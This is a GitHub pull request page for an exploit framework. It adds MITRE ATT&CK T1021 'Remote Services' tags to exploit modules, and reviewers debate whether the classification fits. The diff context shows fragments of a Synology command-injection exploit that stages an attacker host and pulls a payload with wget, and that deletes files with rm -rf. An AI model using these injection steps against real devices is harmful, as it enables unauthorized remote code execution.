-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Add T1021 "Remote Services" MITRE technique and sub-technique references #20560
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -29,7 +29,8 @@ def initialize(info = {}) | |
| ['CVE', '2025-1094'], # The SQL injection in PostgreSQL code. | ||
| ['URL', 'http://web.archive.org/web/20241226144006/https://www.beyondtrust.com/trust-center/security-advisories/bt24-10'], # BeyondTrust Advisory | ||
| ['URL', 'https://www.postgresql.org/support/security/CVE-2025-1094/'], # PostgreSQL Advisory | ||
| ['URL', 'https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis'] # Rapid7 Analysis | ||
| ['URL', 'https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis'], # Rapid7 Analysis | ||
| ['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES] | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I do not see anywhere in this module where we are using an authenticated account? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Should we restrict the Remote Service attack to services with authenticated accounts? It looks like this module exploits an unauthenticated remote code execution vulnerability in a remote service (BeyondTrust PRA/RS) using a WebSocket connection. I'm inclined to say it aligns with T1021, as it exploits a vulnerability in a remote support service to gain remote code execution. |
||
| ], | ||
| 'DisclosureDate' => '2024-12-16', | ||
| 'Platform' => [ 'linux', 'unix' ], | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -39,7 +39,8 @@ def initialize(info = {}) | |
| [ 'CVE', '2017-15889' ], | ||
| [ 'EDB', '43190' ], | ||
| [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/' ], | ||
| [ 'URL', 'https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM' ] | ||
| [ 'URL', 'https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM' ], | ||
| [ 'ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES ] | ||
| ], | ||
| 'Privileged' => true, | ||
| 'Stance' => Msf::Exploit::Stance::Aggressive, | ||
|
|
@@ -179,20 +180,20 @@ def exploit | |
| }) | ||
|
|
||
| print_status('Cleaning env') | ||
| inject_request(cookie, token, cmd = 'rm -rf /a') | ||
| inject_request(cookie, token, cmd = 'rm -rf b') | ||
| inject_request(cookie, token, 'rm -rf /a') | ||
| inject_request(cookie, token, 'rm -rf b') | ||
|
Comment on lines
+183
to
+184
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Rubocop was not happy with this... |
||
| command = "#{datastore['SRVHOST']}:#{datastore['SRVPORT']}".split(//) | ||
| command_space = 22 - "echo -n ''>>/a".length | ||
| command_space -= 1 | ||
| command.each_slice(command_space) do |a| | ||
| a = a.join('') | ||
| vprint_status("Staging wget with: echo -n '#{a}'>>/a") | ||
| inject_request(cookie, token, cmd = "echo -n '#{a}'>>/a") | ||
| inject_request(cookie, token, "echo -n '#{a}'>>/a") | ||
| end | ||
| print_status('Requesting payload pull') | ||
| register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b') | ||
| register_file_for_cleanup('/a') | ||
| inject_request(cookie, token, cmd = 'wget -i /a -O b') | ||
| inject_request(cookie, token, 'wget -i /a -O b') | ||
| # at this point we let the HTTP server call the last stage | ||
| # wfsdelay should be long enough to hold out for everything to download and run | ||
| rescue ::Rex::ConnectionError | ||
|
|
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This module does not use an account; it uses a special POST requesto to place the router in command mode, then sends a UDP packet instructing the router to start a telnet server serving bash.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
That's a valid point, and it brings up a good question about our classification methodology. Given that the module's ultimate goal is to establish a Telnet service for RCE, should we classify it as a 'Remote Service' attack based on the outcome and workflow, rather than solely on the initial point of entry?